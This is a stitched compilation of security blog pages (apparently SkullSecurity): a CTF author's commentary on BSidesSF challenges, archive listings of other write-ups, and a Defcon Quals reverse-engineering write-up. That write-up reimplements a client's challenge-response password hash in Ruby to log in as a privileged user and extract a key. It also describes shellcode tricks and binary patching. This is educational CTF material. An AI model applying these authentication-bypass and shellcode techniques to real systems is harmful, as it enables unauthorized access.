    One of the first thing I ever did in reverse engineering was write a registration bypass for some icon-maker program on 16-bit DOS using the debug.com command and some dumb luck. Something where you had to find the "Sorry, your registration code is invalid" message and bypass it. I wanted to simulate this, and that's where these came from.

    With skipper, you can bypass the checks by just changing the program counter ($eip or $rip) or nop'ing out the checks. skipper2, however, incorporates the results from the checks into the final flag, so they can't be skipped quite so easily. Rather, you have to stop before each check and load the proper value into memory to get the flag. This simulates situations I've legitimately run into while writing keygens.

    hashecute [100]

    When I originally conceived of hashecute, I had imagined it being fairly difficult. The idea is, you can send any shellcode you want to the server, but you have to prepend the MD5 of the shellcode to it, and the prepended shellcode runs as well. That's gotta be hard, right? Making an MD5 that's executable??

    Except it's not, really. You just need to make sure your checksum starts with a short-jump to the end of the checksum (or to a NOP sled if you want to do it even faster!). That's \xeb\x0e (for jmp) or \e9\x0e (for call), as the simplest examples (there are practically infinite others). And it's really easy to do that by just appending crap to the end of the shellcode: you can see that in my solution.

    It does, however, teach a little critical thinking to somebody who might not be super accustomed to dealing with machine code, so I intend to continue using this one as a teaching tool. :)

    b-64-b-tuff [100]

    b-64-b-tuff has the dual-honour of both having the stupidest name and being the biggest waste of my own time .:)

    So, I came up with the idea of writing this challenge during a conversation with a friend: I said that I know people have written shellcode encoders for unicode and other stuff, but nobody had ever written one for Base64. We should make that a challenge!

    So I spent a couple minutes writing the challenge. It's mostly just Base64 code from StackOverflow or something, and the rest is the same skeleton as easyshell/easyshell64.

    Then I spent a few hours writing a pure Base64 shellcode encoder. I intend to do a future blog 100% about that process, because I think it's actually a kind of interesting problem. I eventually got to the point where it worked perfectly, and I was happy that I could prove that this was, indeed, solveable! So I gave it a stupid name and sent out my PR.

    That's when I think @matir said, "isn't Base64 just a superset of alphanumeric?".

    Yes. Yes it is. I could have used any off-the-shelf alphanumeric shellcode encoder such as msfvenom. D'OH!

    But, the process was really interesting, and I do plan to write about it, so it's not a total loss. And I know at least one player did the same (hi @Grazfather! [he graciously shared his code where he encoded it all by hand]), so I feel good about that :-D

    in-plain-sight [100]

    I like to joke that I only write challenges to drive traffic to my blog. This is sort of the opposite: it rewards teams that read my blog. :)

    A few months ago, while writing the delphi-status challenge (more on that one later), I realized that when encrypting data using a padding oracle, the last block can be arbitrarily chosen! I wrote about it in an off-handed sort of way at that time.

    Shortly after, I realized that it could make a neat CTF challenge, and thus was born in-plain-site.

    It's kind of a silly little challenge. Like one of those puzzles you get in riddle books. The ciphertext was literally the string "HiddenCiphertext", which I tell you in the description, but of course you probably wouldn't notice that. When you do, it's a groaner. :)

    Fun story: I had a guy from the team OpenToAll bring up the blog before we released the challenge, and mention how he was looking for a challenge involving plaintext ciphertext. I had to resist laughing, because I knew it was coming!

    i-am-the-shortest [200]

    This was a silly little level, which once again forces people to get shellcode. You're allowed to send up to 5 bytes of shellcode to the server, where the flag is loaded into memory, and the server executes them.

    Obviously, 5 bytes isn't enough to do a proper syscall, so you have to be creative. It's more of a puzzle challenge than anything.

    The trick is, I used a bunch of in-line assembly when developing the challenge (see the original source, it isn't pretty!) that ensures that the registers are basically set up to make a syscall - all you have to do it move esi (a pointer to the flag) into ecx. I later discovered that you can "link" variables to specific registers in gcc.

    The intended method was for people to send \xcc for the shellcode (or similar) and to investigate the registers, determining what the state was, and then to use shellcode along the lines of xchg esi, ecx / int 0x80. And that's what most solvers I talked to did.

    One fun thing: eax (which is the syscall number when a syscall is made) is set to len(shellcode) (the return value of read()). Since sys_write, the syscall you want to make, is number 4, you can easily trigger it by sending 4 bytes. If you send 5 bytes, it makes the wrong call.

    Several of the solutions I saw had a dec eax instruction in them, however! The irony is, you only need that instruction because you have it. If you had just left it off, eax would already be 4!

    delphi-status [250]

    delphi-status was another of those levels where I spent way more time on the solution than on the challenge.

    It seems common enough to see tools to decrypt data using a padding oracle, but not super common to see challenges where you have to encrypt data with a padding oracle. So I decided to create a challenge where you have to encrypt arbitrary data!

    The original goal was to make somebody write a padding oracle encryptor tool for me. That seemed like a good idea!

    But, I wanted to make sure this was do-able, and I was just generally curious, so I wrote it myself. Then I updated my tool Poracle to support encryption, and wrote a blog about it. If there wasn't a tool available that could encrypt arbitrary data with a padding oracle, I was going to hold back on releasing the code. But tools do exist, so I just released mine.

    It turns out, there was a simpler solution: you could simply xor-out the data from the block when it's only one block, and xor-in arbitrary data. I don't have exact details, but I know it works. Basically, it's a classic stream-cipher-style attack.

    And that just demonstrates the Cryptographic Doom Principle :)

    ximage [300]

    ximage might be my favourite level. Some time ago - possibly years - I was chatting with a friend, and steganography came up. I wondered if it was possible to create an image where the very pixels were executable!?

    I went home wondering if that was possible, and started trying to think of 3-byte NOP-equivalent instructions. I managed to think of a large number of work-able combinations, including ones that modified registers I don't care about, plus combinations of 1- and 2-byte NOP-equivalents. By the end, I could reasonably do most colours in an image, including black (though it was slightly greenish) and white. You can find the code here.

    (I got totally nerdsniped while writing this, and just spent a couple days trying to find every 3-byte NOP equivalent to see how much I can improve this!)

    Originally, I just made the image data executable, so you'd have to ignore the header and run the image body. Eventually, I noticed that the bitmap header, 'BM', was effectively inc edx / dec ebp, which is a NOP for all I'm concerned. That's followed by a 2-byte length value. I changed that length on every image to be \xeb\x32, which is effectively a jump to the end of the header. That also caused weird errors when reading the image, which I was totally fine with leaving as a hint.

    So what you have is an image that's effectively shellcode; it can be loaded into memory and run. A steganographic method that has probably never been done. :)

    beez-fight [350]

    beez-fight was an item-duplication vulnerability that was modeled after a similar vulnerability in Diablo 2. I had a friend a lonnnng time ago who discovered a vulnerability in Diablo 2, where when you sold an item it was copied through a buffer, and that buffer could be sold again. I was trying to think of a similar vulnerability, where a buffer wasn't cleared correctly.

    I started by writing a simple game engine. While I was creating items, locations, monsters, etc., I didn't really think about how the game was going to be played - browser? A binary I distribute? netcat? Distributing a binary can be fun, because the player has to reverse engineer the protocol. But netcat is easier! The problem is, the vulnerability has to be a bit more subtle in netcat, because I can't depend on a numbered buffer - what you see is what you get!

    Eventually, I came upon the idea of equip/unequip being problematic. Not clearing the buffer properly!

    Something I see far too much in real life is code that checks if an object exists in a different way in different places. So I decided to replicate that - I had both an item that's NULL-able, and a flag :is_equipped. When you tried to use an item, it would check if the :is_equipped flag is set. But when you unequipped it, it checked if the item was NULL, which never actually happened (unequipping it only toggled the flag). As a result, you could unequip the item multiple times and duplicate it!

    Once that was done, the rest was easy: make a game that's too difficult to reasonably survive, and put a flag in the store that's worth a lot of gold. The only reasonable way to get the flag is to duplicate an item a bunch, then sell it to buy the flag.

    I think I got the most positive feedback on this challenge, people seem to enjoy game hacking!

    vhash + vhash-fixed [450]

    This is a challenge that me and @bmenrigh came up with, designed to be quite difficult. It was vhash, and, later, vhash-fixed - but we'll get to that. :)

    It all dates back to a conversation I had with @joswr1ght about a SANS Holiday Hack Challenge level I was designing. I suggested using a hash-extension vulnerability, and he said we can't, because of hash_extender, recklessly written by yours truly, ruining hash extension vulnerabilities forever!

    I found that funny, and mentioned it to @bmenrigh. We decided to make our own novel hashing algorithm that's vulnerable to an extension attack. We decided to make it extra hard by not giving out source! Players would have to reverse engineer the algorithm in order to implement the extension attack. PERFECT! Nobody knows as well as me how difficult it can be to create a new hash extension attack. :)

    Now, there is where it gets a bit fun. I agreed to write the front-end if he wrote the back-end. The front-end was almost exactly easyauth, except the cookie was signed. We decided to use an md5sum-like interface, which was a bit awkward in PHP, but that was fine. I wrote and tested everything with md5sum, and then awaited the vhash binary.

    When he sent it, I assumed vhash was a drop-in replacement without thinking too much about it. I updated the hash binary, and could log in just fine, and that was it.

    When the challenge came out, the first solve happened in only a couple minutes. That doesn't seem possible! I managed to get in touch with the solver, and he said that he just changed the cookie and ignored the hash. Oh no! Our only big mess-up!

    After investigation, we discovered that the agreed md5sum-like interface meant, to @bmenrigh, that the data would come on stdin, and to me it meant that the file would be passed as a parameter. So, we were hashing the empty string every time. Oops!

    Luckily, we found it, fixed it, and rolled out an updated version shortly after. The original challenge became an easy 450-pointer for anybody who bothered to try, and the real challenge was only solved by a few, as intended.

    dnscap [500]

    dnscap is simply a packet-capture from dnscat2, running in unecrypted-mode, over a laggy connection (coincidentally, I'm writing this writeup at the same bar where I wrote the original challenge!). In dnscat2, I sent a .png file that contains the dnscat2 logo, as well as the flag. Product placement anyone?

    I assumed it would be fairly difficult to disentangle the packets going through, which is why we gave it a high point-value. Ultimately, it was easier than we'd expected, people were able to solve it fairly quickly.

    nibbler [666]

    And finally, my old friend nibbler.

    At some point in the past few months, I had the realization: nibbles (the snake game for QBasic where I learned to program) sounds like nibble (a 4-bit value). I forget where it came from exactly, but I had the idea to build a nibbles-clone with a vulnerability where you'd have to exploit it by collecting the 'fruit' at the right time.

    I originally stored the scores in an array, and each 'fruit' would change between between worth 00 and FF points. You'd have to overflow the stack and build an exploit by gathering fruit with the snake. You'll notice that the name that I ask for at the start uses read() - that's so it can have NUL bytes so you can build a ROP-chain in your name.

    I realized that picking values between 00 and FF would take FOREVER, and wanted to get back to the original idea: nibbles! But I couldn't think of a way to make it realistic while only collecting 4-bit values.

    Eventually, I decided to drop the premise of performing an exploit, and instead, just let the user write shellcode that is run directly. As a result, it went from a pwn to a programming challenge, but I didn't re-categorize it, largely because we don't have programming challenges.

    It ended up being difficult, but solveable! One of my favourite writeups is here; I HIGHLY recommend reading it. My favourite part is that he named the snakes and drew some damn sexy images!

    I just want to give a shout out to the poor soul, who I won't name here, who solved this level BY HAND, but didn't cat the flag file fast enough. I shouldn't have had the 10-second timeout, but we did. As a result, he didn't get the flag. I'm so sorry. :(

    Fun fact: @bmenrigh was confident enough that this level was impossible to solve that he made me a large bet that less than 2 people would solve it. Because we had 9 solvers, I won a lot of alcohol! :)

    Conclusion

    Hopefully you enjoyed hearing a little about the BSidesSF CTF challenges I wrote! I really enjoyed writing them, and then seeing people working on solving them!

    On some of the challenges, I tried to teach something (or have a teachable lesson, something I can use when I teach). On some, I tried to make something pretty difficult. On some, I fell somewhere between. But there's one thing they have in common: I tried to make my own challenges as easy as possible to test and validate. :)

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### October » 2018 » SkullSecurity

    Technical Rundown of WebExec

    This is a technical rundown of a vulnerability that we've dubbed "WebExec". The summary is: a flaw in WebEx's WebexUpdateService allows anyone with a login to the Windows system where WebEx is installed to run SYSTEM-level code remotely. That's right: this client-side application that doesn't listen on any ports is actually vulnerable to remote code […]

    #####EOF##### April » 2014 » SkullSecurity

    PlaidCTF writeup for Pwn-275 – Kappa (type confusion vuln)

    Hey folks, This is my last writeup for PlaidCTF! You can get a list of all my writeups here. Kappa is a 275-point pwnable level called Kappa, and the goal is to capture a bunch of Pokemon and make them battle each other! Ultimately, this issue came down to a type-confusion bug that let us […]

    PlaidCTF writeup for Pwn-200 (a simple overflow bug)

    I know what you're thinking of: what's with all the Web levels!? Well, I was saving the exploitation levels for last! This post will be about Pwnable-200 (ezhp), and the next one will be Pwnable-275 (kappa). You can get the binary for ezhp here, and I highly recommend poking at this if you're interested in […]

    PlaidCTF writeup for Web-300 – whatscat (SQL Injection via DNS)

    Hey folks, This is my writeup for Whatscat, just about the easiest 300-point Web level I've ever solved! I wouldn't normally do a writeup about a level like this, but much like the mtpox level I actually wrote the exact tool for exploiting this, and even wrote a blog post about it almost exactly 4 […]

    PlaidCTF writeup for Web-200 – kpop (bad deserialization)

    Hello again! This is my second writeup from PlaidCTF this past weekend! It's for the Web level called kpop, and is about how to shoot yourself in the foot by misusing serialization (download the files). There are at least three levels I either solved or worked on that involved serialization attacks (mtpox, reeekeeeeee, and this […]

    PlaidCTF writeup for Web-150 – mtpox (hash extension attack)

    Hey folks, This is going to be my first of a couple writeups about this past weekend's CTF: PlaidCTF! My first writeup is for a 150-point Web level called mtpox. I chose this one to do first not only because it's the first level I completed, but also because the primary vulnerability was a hash […]

    Ghost in the Shellcode: fuzzy (Pwnage 301)

    Hey folks, It's a little bit late coming, but this is my writeup for the Fuzzy level from the Ghost in the Shellcode 2014 CTF! I kept putting off writing this, to the point where it became hard to just sit down and do it. But I really wanted to finish before PlaidCTF 2014, which […]

    #####EOF##### July » 2015 » SkullSecurity
    #####EOF##### Defcon Quals: Access Control (simple reverse engineer) » SkullSecurity


    Defcon Quals: Access Control (simple reverse engineer)

    Hello all,

    Today's post will be another write-up from the Defcon CTF Qualifiers. This one will be the level called "Access Client", or simply "client", which was a one-point reverse engineering level. This post is going to be mostly about the process I use for reverse engineering crypto-style code - it's a much different process than reversing higher level stuff, because each instruction matters and it's often extremely hard to follow.

    Having just finished another level (r0pbaby, I think), and having about an hour left in the competition, I wanted something I could finish quickly. There were two one-point reverse engineering challenges open that we hadn't solved: one was 64-bit and written in C++, whereas this one was 32-bit and C and only had a few short functions. The choice was easy. :)

    I downloaded the binary and had a look at its strings. Lots of text-based stuff, such as "list users", "print key", and "connection id:", which I saw as a good sign!

    Running it

    If you wnat to follow along, I uploaded all my work to my Github page, including a program called server.rb that more or less simulates the server. It's written in Ruby, obviously, and simulates all the responses. The real client can't actually read the flag from it, though, and I can't figure out why (and spent way too much time last night re-reversing the client binary before realizing it doesn't matter).

    Anyway, when you run the client, it asks for an ip address:

    $ ./client
    need IP
    

    The competition gives you a target, so that's easy (note that most of this is based on my own server.rb, not the real one, which I re-created from packet captures:

    $ ./client 52.74.123.29
    Socket created
    Enter message : Hello
    nope...Hello
    

    If you look at a packet capture of this, you'll see that a connection is made but nothing is sent or received. Local checks are best checks!

    All right.. time for some reversing! I open up the client program in IDA, and go straight to the Strings tab (Shift-F12). I immediately see "Enter message :" so I double click it and end up here:

    .rodata:080490F5 ; char aEnterMessage[]
    .rodata:080490F5 aEnterMessage   db 'Enter message : ',0 ; DATA XREF: main+178o
    .rodata:08049106 aHackTheWorld   db 'hack the world',0Ah,0 ; DATA XREF: main+1A7o
    .rodata:08049116 ; char aNope_[]
    .rodata:08049116 aNope___S       db 'nope...%s',0Ah,0    ; DATA XREF: main+1CAo
    

    Could it really be that easy?

    The answer, for a change, is yes:

    $ ./client 52.74.123.29
    Socket created
    Enter message : hack the world
    << connection ID: nuc EW1A IQr^2&
    
    
    *** Welcome to the ACME data retrieval service ***
    what version is your client?
    
    << hello...who is this?
    <<
    
    << enter user password
    
    << hello grumpy, what would you like to do?
    <<
    
    << grumpy
    mrvito
    gynophage
    selir
    jymbolia
    sirgoon
    duchess
    deadwood
    hello grumpy, what would you like to do?
    
    << the key is not accessible from this account. your administrator has been notified.
    <<
    hello grumpy, what would you like to do?
    

    Then it just sits there.

    I logged the traffic with Wireshark and it looks like this (blue = incoming, red = outgoing, or you can just download my pcap):

    connection ID: Je@/b9~A>Xa'R-
    
    
    *** Welcome to the ACME data retrieval service ***
    what version is your client?
    version 3.11.54
    hello...who is this?grumpy
    
    enter user password
    H0L31
    hello grumpy, what would you like to do?
    list users
    grumpy
    mrvito
    gynophage
    selir
    jymbolia
    sirgoon
    duchess
    deadwood
    hello grumpy, what would you like to do?
    print key
    the key is not accessible from this account. your administrator has been notified.
    hello grumpy, what would you like to do?
    

    Connection IDs and passwords

    I surmised, based on this, that the connection id was probably random (it looks random) and that the password is probably hashed (poorly) and not replay-able (that'd be too easy). Therefore, the password is probably based on the connection id.

    To verify the first part, I ran a capture a second time:

    connection ID: #2^1}P>JAqbsaj
    [...]
    hello...who is this?
    grumpy
    enter user password
    V/%S:
    

    Yup, it's different!

    I did some quick digging in IDA and found a function - sub_8048EAB - that was called with "grumpy" and "1" as parameters, as well as a buffer that would be sent to the server. It looked like it did some arithmetic on "grumpy" - which is presumably a password, and it touched a global variable - byte_804BC70 - that, when I investigated, turned out to be the connection id. The function was called from a second place, too, but we'll get to that later!

    So now we've found a function that looks at the password and the connection id. That sounds like the hashing function to me (and note that I'm using the word "hashing" in its literal sense, it's obviously not a secure hash)! I could have used a debugger to verify that it was actually returning a hashed password, but the clock was ticking and I had to make some assumptions in order to keep moving - if the the assumptions turned out to be wrong, I wouldn't have finished the level, but I wouldn't have finished it either if I verified everything.

    I wasn't entirely sure what had to be done from here, but it seemed logical to me that reverse engineering the password-hashing function was something I'd eventually have to do. So I got to work, figuring it couldn't hurt!

    Reversing the hashing function

    There are lots of ways to reverse engineer a function. Frequently, I take a higher level view of what libc/win32 functions it calls, but sub_8048EAB doesn't call any functions. Sometimes I'll try to understand the code, mentally, but I'm not super great at that. So I used a variation of this tried-and-true approach I often use for crypto code:

    1. Reverse each line of assembly to exactly one line of C
    2. Test it against the real version, preferably instrumented so I can automatically ensure that it's working properly
    3. While the output of my code is different from the output of their code, use a debugger (on the binary) and printf statements (on your implementation) to figure out where the problem is - this usually takes the most of my time, because there are usually several mistakes
    4. With the testing code still in place, simplify the C function as much as you can

    Because I only had about an hour to reverse this, I had to cut corners. I reversed it to Ruby instead of C (so I wouldn't have to deal with sockets in C), I didn't set up proper instrumentation and instead used Wireshark, and I didn't simplify anything till afterwards. In the end, I'm not sure whether this was faster or slower than doing it "right", but it worked so I can't really complain.

    Version 1

    As I said, the first thing I do is translate the code directly, line by line, to assembly. I had to be a little creative with loops and pointers because I can't just use goto and cast everything to an integer like I would in C, but this is what it looked like. Note that I've fixed all the bugs that were in the original version - there were a bunch, but it didn't occur to me to keep the buggy code - I did, however, leave in the printf-style statements I used for debugging!

    # mode = 1 for passwords, 7 for keys
    def hash_password(password, connection_id, mode)
    # mov     eax, [ebp+password]
      eax = password
    
    # mov     [ebp+var_2C], eax
      var_2c = eax
    
    # mov     eax, [ebp+buffer]
      eax = ""
    
    # mov     [ebp+var_30], eax
      var_30 = ""
    
    # xor     eax, eax
      eax = 0
    
    # mov     ecx, ds:g_connection_id_plus_7 ; 0x0000007d, but changes
      ecx = connection_id[7]
      #puts('%x' % ecx.ord)
    
    # mov     edx, 55555556h
      edx = 0x55555556
    # mov     eax, ecx
      eax = ecx
    # imul    edx
      #puts("imul")
      #puts("%x" % eax.ord)
      #puts("%x" % edx)
      edx = ((eax.ord * edx) >> 32)
      #puts("%x" % edx)
    # mov     eax, ecx
      eax = ecx
    # sar     eax, 1Fh
      #puts("sar")
      #puts("%x" % eax.ord)
      eax = eax.ord >> 0x1F
      #puts("%x" % eax)
    # mov     ebx, edx
      ebx = edx
    # sub     ebx, eax
      ebx -= eax
      #puts("sub")
      #puts("%x" % ebx)
    # mov     eax, ebx
      eax = ebx
    # mov     [ebp+var_18], eax
      var_18 = eax
    # mov     edx, [ebp+var_18]
      edx = var_18
    # mov     eax, edx
      eax = edx
    # add     eax, eax
      eax = eax * 2
    # add     eax, edx
      eax = eax + edx
    
      #puts("")
      #puts("%x" % eax)
    # mov     edx, ecx
      edx = ecx
    # sub     edx, eax
      #puts()
      #puts("%x" % ecx.ord)
      #puts("%x" % edx.ord)
      edx = edx.ord - eax
      #puts("%x" % edx)
    # mov     eax, edx
      eax = edx
    # mov     [ebp+var_18], eax
      var_18 = eax
      #puts()
      #puts("%x" % var_18)
    # mov     eax, dword_804B04C
      eax = mode
    # add     [ebp+var_18], eax
      var_18 += eax
      #puts("%x" % eax)
    # mov     edx, offset g_connection_id ; <--
      edx = connection_id
    # mov     eax, [ebp+var_18]
      eax = var_18
    # add     eax, edx
    # mov     dword ptr [esp+8], 5 ; n
    # mov     [esp+4], eax    ; src
    # lea     eax, [ebp+dest]
    # mov     [esp], eax      ; dest
    # call    _strncpy
      dest = connection_id[var_18, 5]
      #puts(dest)
    # mov     [ebp+var_1C], 0
      var_1c = 0
    
    # jmp     short loc_8048F4A
    # loc_8048F2A:                            ; CODE XREF: do_password+A3j
      0.upto(4) do |var_1c|
    #   mov     eax, [ebp+var_1C]
        eax = var_1c
    #   add     eax, [ebp+var_30]
        # XXX
    #   lea     edx, [ebp+dest]
        edx = dest
    
    #   add     edx, [ebp+var_1C]
    #   movzx   ecx, byte ptr [edx]
        ecx = edx[var_1c]
    #   mov     edx, [ebp+var_1C]
        edx = var_1c
    
    #   add     edx, [ebp+var_2C]
    #   movzx   edx, byte ptr [edx]
        edx = var_2c[var_1c]
    
    #   xor     edx, ecx
        edx = edx.ord ^ ecx.ord
    #   mov     [eax], dl
        edx &= 0x0FF
        var_30[var_1c] = (edx & 0x0FF).chr
    
    #   add     [ebp+var_1C], 1
    #
    #   loc_8048F4A:                            ; CODE XREF: do_password+7Dj
    #   cmp     [ebp+var_1C], 4
    #   jle     short loc_8048F2A
      end
    
      #puts()
    
      return var_30
    end
    

    After I got it working and returning the same value as the real implementation, I had a problem! The value I returned - even though it matched the real program - wasn't quite right! It had a few binary characters in it, whereas the value sent across the network never did. I looked around and found the function - sub_8048F67 - that actually sends the password to the server. It turns out, that function replaces all the low- and high-ASCII characters with proper ones (the added lines are in bold):

    # mode = 1 for passwords, 7 for keys
    def hash_password(password, connection_id, mode)
    # mov     eax, [ebp+password]
      eax = password
    
    # mov     [ebp+var_2C], eax
      var_2c = eax
    
    # mov     eax, [ebp+buffer]
      eax = ""
    
    # mov     [ebp+var_30], eax
      var_30 = ""
    
    # xor     eax, eax
      eax = 0
    
    # mov     ecx, ds:g_connection_id_plus_7 ; 0x0000007d, but changes
      ecx = connection_id[7]
      #puts('%x' % ecx.ord)
    
    # mov     edx, 55555556h
      edx = 0x55555556
    # mov     eax, ecx
      eax = ecx
    # imul    edx
      #puts("imul")
      #puts("%x" % eax.ord)
      #puts("%x" % edx)
      edx = ((eax.ord * edx) >> 32)
      #puts("%x" % edx)
    # mov     eax, ecx
      eax = ecx
    # sar     eax, 1Fh
      #puts("sar")
      #puts("%x" % eax.ord)
      eax = eax.ord >> 0x1F
      #puts("%x" % eax)
    # mov     ebx, edx
      ebx = edx
    # sub     ebx, eax
      ebx -= eax
      #puts("sub")
      #puts("%x" % ebx)
    # mov     eax, ebx
      eax = ebx
    # mov     [ebp+var_18], eax
      var_18 = eax
    # mov     edx, [ebp+var_18]
      edx = var_18
    # mov     eax, edx
      eax = edx
    # add     eax, eax
      eax = eax * 2
    # add     eax, edx
      eax = eax + edx
    
      #puts("")
      #puts("%x" % eax)
    # mov     edx, ecx
      edx = ecx
    # sub     edx, eax
      #puts()
      #puts("%x" % ecx.ord)
      #puts("%x" % edx.ord)
      edx = edx.ord - eax
      #puts("%x" % edx)
    # mov     eax, edx
      eax = edx
    # mov     [ebp+var_18], eax
      var_18 = eax
      #puts()
      #puts("%x" % var_18)
    # mov     eax, dword_804B04C
      eax = mode
    # add     [ebp+var_18], eax
      var_18 += eax
      #puts("%x" % eax)
    # mov     edx, offset g_connection_id ; <--
      edx = connection_id
    # mov     eax, [ebp+var_18]
      eax = var_18
    # add     eax, edx
    # mov     dword ptr [esp+8], 5 ; n
    # mov     [esp+4], eax    ; src
    # lea     eax, [ebp+dest]
    # mov     [esp], eax      ; dest
    # call    _strncpy
      dest = connection_id[var_18, 5]
      #puts(dest)
    # mov     [ebp+var_1C], 0
      var_1c = 0
    
    # jmp     short loc_8048F4A
    # loc_8048F2A:                            ; CODE XREF: do_password+A3j
      0.upto(4) do |var_1c|
    #   mov     eax, [ebp+var_1C]
        eax = var_1c
    #   add     eax, [ebp+var_30]
        # XXX
    #   lea     edx, [ebp+dest]
        edx = dest
    
    #   add     edx, [ebp+var_1C]
    #   movzx   ecx, byte ptr [edx]
        ecx = edx[var_1c]
    #   mov     edx, [ebp+var_1C]
        edx = var_1c
    
    #   add     edx, [ebp+var_2C]
    #   movzx   edx, byte ptr [edx]
        edx = var_2c[var_1c]
    
    #   xor     edx, ecx
        edx = edx.ord ^ ecx.ord
    #   mov     [eax], dl
        edx &= 0x0FF
    
        #puts("before edx = %x" % edx)
        if(edx < 0x1f)
          #puts("a")
          edx += 0x20
        elsif(edx > 0x7F)
          edx = edx - 0x7E + 0x20
        end
        #puts("after edx = %x" % edx)
    
        var_30[var_1c] = (edx & 0x0FF).chr
    
    #   add     [ebp+var_1C], 1
    #
    #   loc_8048F4A:                            ; CODE XREF: do_password+7Dj
    #   cmp     [ebp+var_1C], 4
    #   jle     short loc_8048F2A
      end
    
      #puts()
    
      return var_30
    end
    

    As you can see, it's quite long and difficult to follow. But, now that the bugs were fixed, it was outputting the same thing as the real version! I set it up to log in with the username 'grumpy' and the password 'grumpy' and it worked great!

    Cleaning it up

    I didn't actually clean up the code until after the competition, but here's the step-by-step cleanup that I did, just so I could blog about it.

    First, I removed all the comments:

    def hash_password_phase2(password, connection_id, mode)
      eax = password
      var_2c = eax
      eax = ""
      var_30 = ""
      eax = 0
      ecx = connection_id[7]
      edx = 0x55555556
      eax = ecx
      edx = ((eax.ord * edx) >> 32)
      eax = ecx
      eax = eax.ord >> 0x1F
      ebx = edx
      ebx -= eax
      eax = ebx
      var_18 = eax
      edx = var_18
      eax = edx
      eax = eax * 2
      eax = eax + edx
    
      edx = ecx
      edx = edx.ord - eax
      eax = edx
      var_18 = eax
      eax = mode
      var_18 += eax
      edx = connection_id
      eax = var_18
      dest = connection_id[var_18, 5]
      var_1c = 0
    
      0.upto(4) do |var_1c|
        eax = var_1c
        edx = dest
        ecx = edx[var_1c]
        edx = var_1c
        edx = var_2c[var_1c]
        edx = edx.ord ^ ecx.ord
        edx &= 0x0FF
        if(edx < 0x1f)
          edx += 0x20
        elsif(edx > 0x7F)
          edx = edx - 0x7E + 0x20
        end
        var_30[var_1c] = (edx & 0x0FF).chr
      end
      return var_30
    end
    

    Then I started eliminating redundant statements:

    def hash_password_phase3(password, connection_id, mode)
      ecx = connection_id[7]
      eax = ecx
      edx = ((eax.ord * 0x55555556) >> 32)
      eax = ecx
      eax = eax.ord >> 0x1F
      eax = ((edx - (eax.ord >> 0x1F)) * 2) + edx
    
      edx = ecx
      edx = edx.ord - eax
      eax = edx
      var_18 = eax
      var_18 += mode
      edx = connection_id
      eax = var_18
      dest = connection_id[var_18, 5]
    
      result = ""
      0.upto(4) do |i|
        eax = i
        edx = dest
        ecx = edx[i]
        edx = password[i]
        edx = edx.ord ^ ecx.ord
        edx &= 0x0FF
        if(edx < 0x1f)
          edx += 0x20
        elsif(edx > 0x7F)
          edx = edx - 0x7E + 0x20
        end
        result << (edx & 0x0FF).chr
      end
    
      return result
    end
    

    Removed some more redundancy:

    def hash_password_phase4(password, connection_id, mode)
      char_7 = connection_id[7].ord
      edx = ((char_7 * 0x55555556) >> 32)
      eax = ((edx - (char_7 >> 0x1F >> 0x1F)) * 2) + edx
    
      result = ""
      0.upto(4) do |i|
        edx = (password[i].ord ^ connection_id[char_7 - eax + mode + i].ord) & 0xFF
    
        if(edx < 0x1f)
          edx += 0x20
        elsif(edx > 0x7F)
          edx = edx - 0x7E + 0x20
        end
        result << (edx & 0x0FF).chr
      end
    
      return result
    end
    

    And a final cleanup pass where I eliminated the "bad paths" - things that I know can't possibly happen:

    def hash_password_phase5(password, connection_id, mode)
      char_7 = connection_id[7].ord
    
      result = ""
      0.upto(4) do |i|
        edx = password[i].ord ^ connection_id[i + char_7 - (((char_7 * 0x55555556) >> 32) * 3) + mode].ord
        if(edx < 0x1f)
          edx += 0x20
        elsif(edx > 0x7F)
          edx = edx - 0x7E + 0x20
        end
        result << edx.chr
      end
    
      return result
    end
    
    

    And that's the final product! Remember, at each step of the way I was testing and re-testing to make sure it worked for a few dozen test strings. That's important because it's really, really easy to miss stuff.

    The rest of the level

    Now, getting back to the level...

    As we saw above, after logging in, the real client sends "list users" then "print key". "print key" fails because the user doesn't have administrative rights, so presumably one of the users printed out on the "list users" page does.

    I went through and manually entered each user into the program, with the same username as password (seemed like the thing to do, since grumpy's password was "grumpy") until I reached the user "duchess". When I tried "duchess", I got the prompt:

    challenge: /\&[$
    answer?
    

    When I was initially reversing the password hashing, I noticed that the hash_password() function was called a second time near the strings "challenge:" and "answer?"! The difference was that instead of passing the integer 1 as the mode, it passed 7. So I tried calling hash_password('/\&[$', connection_id, 7) and got the response, "<=}-^".

    I sent that, and the key came back! Here's the full session:

    connection ID: Tk8)k)e3a[vzN^
    
    
    *** Welcome to the ACME data retrieval service ***
    what version is your client?
    version 3.11.54
    hello...who is this?
    duchess
    enter user password
    /MJ#L
    hello duchess, what would you like to do?
    print key
    challenge: /\&[$
    answer?
    <=}-^
    the key is: The only easy day was yesterday. 44564
    

    I submitted the key with literally three minutes to go. I was never really sure if I was doing the right thing at each step of the way, but it worked!

    An alternate solution

    If I'd had the presence of mind to realize that the username would always be the password, there's another obvious solution to the problem that probably would have been a whole lot easier.

    The string "grumpy" (as both the username and the password) is only read in three different places in the binary. It would have been fairly trivial to:

    1. Find a place in the binary where there's some room (right on top of the old "grumpy" would be fine)
    2. Put the string "duchess" in this location (and the other potential usernames if you don't yet know which one has administrative access)
    3. Patch the three references to "grumpy" to point to the new string instead of the old one - unfortunately, using a new location instead of just overwriting the strings is necessary because "duchess" is longer than "grumpy" so there's no room
    4. Run the program and let it get the key itself

    That would have been quicker and easier, but I wasn't confident enough that the usernames and passwords would be the same, and I didn't want to risk going down the wrong path with almost no time left, so I decided against trying that.

    Conclusion

    This wasn't the most exciting level I've ever done, but it was quick and gave me the opportunity to do some mildly interesting reverse engineering.

    The main idea was to show off my process - translate line by line, instrument it, debug till it works, then refactor and reduce and clean up the code!

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### June » 2009 » SkullSecurity

    My SANS Gold Paper: Nmap SMB Scripts

    Hey all, For my SANS GPEN Gold certification (first Gold-certified analyst for GPEN -- go me!) I wrote a paper on my SMB scripts for Nmap. The paper is titled "Scanning Windows Deeper With the Nmap Scanning Engine". I started writing it a few months ago, and collaborated with Fyodor in the early stages. Hopefully […]

    nbstat.nse: just like nbtscan

    Hey all, With the upcoming release of Nmap 4.85, Brandon Enright posted some comments on random Nmap thoughts. One of the things he pointed out was that people hadn't heard of nbstat.nse! Since I love showing off what I write, this blog was in order.

    #####EOF##### Assembly - SkullSecurity

    Assembly

    From SkullSecurity
    Jump to: navigation, search
